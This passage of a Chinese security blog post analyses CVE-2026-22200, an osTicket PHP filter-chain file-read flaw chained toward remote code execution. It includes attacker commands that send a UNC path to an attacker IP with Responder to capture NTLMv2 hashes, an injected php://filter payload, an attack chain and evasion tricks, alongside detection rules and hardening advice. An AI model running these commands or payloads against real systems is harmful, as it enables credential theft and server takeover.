文章总结: CVE-2026-22200是osTicket工单系统的PHPFilterChain注入漏洞,允许匿名用户通过富文本字段实现任意文件读取,并可结合CVE-2024-2961升级为远程代码执行。攻击链利用mPDF的CSS处理特性,通过php://filter链生成BMP文件头外带文件内容。防御方应升级至v1.18.3或v1.17.7,并监控异常PDF导出请求。 综合评分: 95 文章分类: 漏洞分析,渗透测试,红队,应急响应,WEB安全
配方 F —— Windows 变体(UNC → NTLMv2)
# 文件读取指 UNC,捕获服务账户哈希(Responder 侧)
python osticket_ticket_payload_gen.py -f //10.10.14.5/share/logo.png
sudo responder -I tun0 # 目标渲染 PDF 即触发 SMB 认证
# 拿到哈希后接 hashcat/中继链(呼应 KrbRelay/ntlmrelayx 审计系列)
7. 攻击链与实网落地
匿名访客(无账号/无坐席权限)
├─ check.py 判定(补丁 oracle + 匿名面)
├─ 开工单/回复,注入 <li style="list-style-image:url(php%3a//filter/…)">
│ ├─ 净化层: 双实体 SEP + URL 编码存活
│ └─ 导出 PDF: mPDF 取流 → PHP filter 链 → openat/read → BMP 外带
├─ 阶段一产出: ost-config.php(DB凭据+SALT) / 任意文件 / /proc/self/maps
│ ├─ C: SALT → 伪造任意工单访问链接 → 工单内PII/凭据收割
│ └─ D: 枚举/爆破补齐访问面
├─ 阶段二(Linux+老glibc): CNEXT → webshell → 接管 Web 服务账户
└─ 阶段二(Windows): UNC → NTLMv2 → 中继/爆破 → 内网立足
实网注意(授权前提下):工单是留痕系统——每张注入工单都会进对方数据库、可能触发邮件通知真实坐席(评估前确认邮件通道影响);-r 回复现有工单比开新工单更低调;CNEXT 载荷对堆布局敏感,失败重试要换 --pad;osTicket 常与邮件系统深度绑定,读到 SMTP 凭据后的横向要克制在授权范围内。
8. 冷门但常用的语法与骚操作
冷门但常用:
- 1.
-f的三种后缀语法:/etc/passwd(纯文本)|file,b64(二进制转 base64 再嵌图)|file,b64zlib(先 zlib 再 base64,大文件必用)——一个逗号后缀就是一条编码管线; - 2.
-r不只是”换个模式”:它切换的是 SEP 实体("→&#34),因为回复流与新建流的净化轮数不同——净化层级差异被参数化; - 3.
php%3a//的半编码:只编码://中的冒号(%3a),斜杠保留——为的是恰好匹配”osTicket 内置 mPDF 会 URL 解码路径”这一次数,多编码一层就废; - 4. 大写字母全编码:
quote_with_forced_uppercase只放行a-z0-9_.-~——路径里任何大写都会变成%XX,对抗管线里某处的小写化; - 5. cnext 的命令长度红线 0x140:320 字节内写完落 shell 的命令,超长即失效(源码注释明示)。
骚操作清单:
- 1. BMP 画布走私:文件内容扮成 15000×1 的”像素”过审出关——内容审计对图片网开一面;
- 2. 逆序 base64 铸造:iconv 字典凭空打印字符,”读文件”的过滤器先”无中生有”一段文件头;
- 3. 双实体 SEP 错位解码:净化器与渲染器的解码轮数差,就是引号的生存空间;
- 4. 错误信息当版本指纹:登录页返回 “Invalid User Id” 还是 “Invalid username or password”,一个措辞判生死;
- 5. 无效表单做侧信道:缺 email 的提交零副作用,却让回显内容出卖净化策略;
- 6. 每 2 请求换会话:把会话级限速的存在本身变成绕过指令;
- 7. 文件读取的复利:读一个配置文件 = 拿到伪造所有工单访问权的钥匙(SALT);
- 8. 45KB 截断的降级解析:碎片 libc 手撸搜
GNU\x00抠 Build ID——取证思维反向用于武器化; - 9. 离线化 CNEXT:情报与投送分离,载荷生成可审计可回放;
- 10. Windows 免溢出路线:一个 UNC 路径换 NTLMv2——不碰堆、不触 glibc,朴素但致命。
9. 检测与加固(蓝军视角)
检测:
- 1. 应用日志:工单消息中出现
list-style-image+php%3a/convert.iconv/resource=特征串(净化前入库的原始值)——最直接的高置信 IOC; - 2. WAF 规则:对
open.php/tickets.php提交体匹配php%3a\/\/|convert\.iconv\.|convert\.base64-|\/resource=(注意双重实体与大小写变体); - 3. PHP 层:开启对
php://filter的使用审计(stream wrapper 非常规调用);生产环境直接disable_functions救不了此处,但可在 mPDF 侧限制图像协议白名单(仅 http/https/本地白名单目录); - 4. 行为侧:PDF 导出任务伴随大量
iconvCPU 与堆活动(CNEXT 尝试的特征);Linux 上 glibc ≥2.39 天然免疫 CNEXT 但不免疫文件读取; - 5. Windows 侧:Web 服务账户对内网/外部 SMB 的出站认证告警(UNC 读取特征),配 Outbound SMB 策略阻断;
- 6. 检视暴露面:
open.php/view.php/account.php的匿名可达性是链的第一环——资产盘点时把”客服门户”当一等资产。
加固(厂商+Horizon3 建议汇总):
- 1. 升级至 osTicket ≥ v1.18.3 / v1.17.7(补丁:登录预校验
Validator::is_userid()+ 富文本净化剥离内联url()); - 2. 无法立即升级:关闭自注册(Admin Panel → Users)、强制登录开工单、禁用线程/邮件 HTML(Admin Panel → System)、对服务器出网做防火墙收紧;
- 3. glibc 侧:保持系统补丁(≥2.39 修复 CVE-2024-2961)——文件读取→RCE 的桥就此拆除;
- 4. 收敛 ost-config.php 等敏感文件权限与 Web 可读性;工单访问令牌(SALT)视为长期密钥管理,泄漏即轮换。
10. 参考链接
- • 工具仓库:https://github.com/horizon3ai/CVE-2026-22200
- • Horizon3 官方公告:https://horizon3.ai/attack-research/vulnerabilities/cve-2026-22200/
- • Horizon3 博客《Ticket to Shell: Exploiting PHP Filters and CNEXT in osTicket》:https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200/
- • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-22200
- • CVE-2024-2961 原始研究(ambionics/cfreal_ CNEXT):https://github.com/ambionics/cnext-exploits
- • HITCON CTF 2022 web2pdf(创意源头):https://blog.splitline.tw/hitcon-ctf-2022/
- • wupco 字符铸造字典:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
- • osTicket 官方:https://osticket.com
- • Horizon3 Attack Team:https://twitter.com/Horizon3Attack
本文技术细节均来自对仓库 @ main 分支 8 个脚本的纯静态审计(未执行任何载荷)与上列公开文献交叉验证;仅供授权安全测试与防御研究使用,请遵守当地法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网安之家-CyberHomestead 《HackTheBox-Trustfall_Cve-2026-22200》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论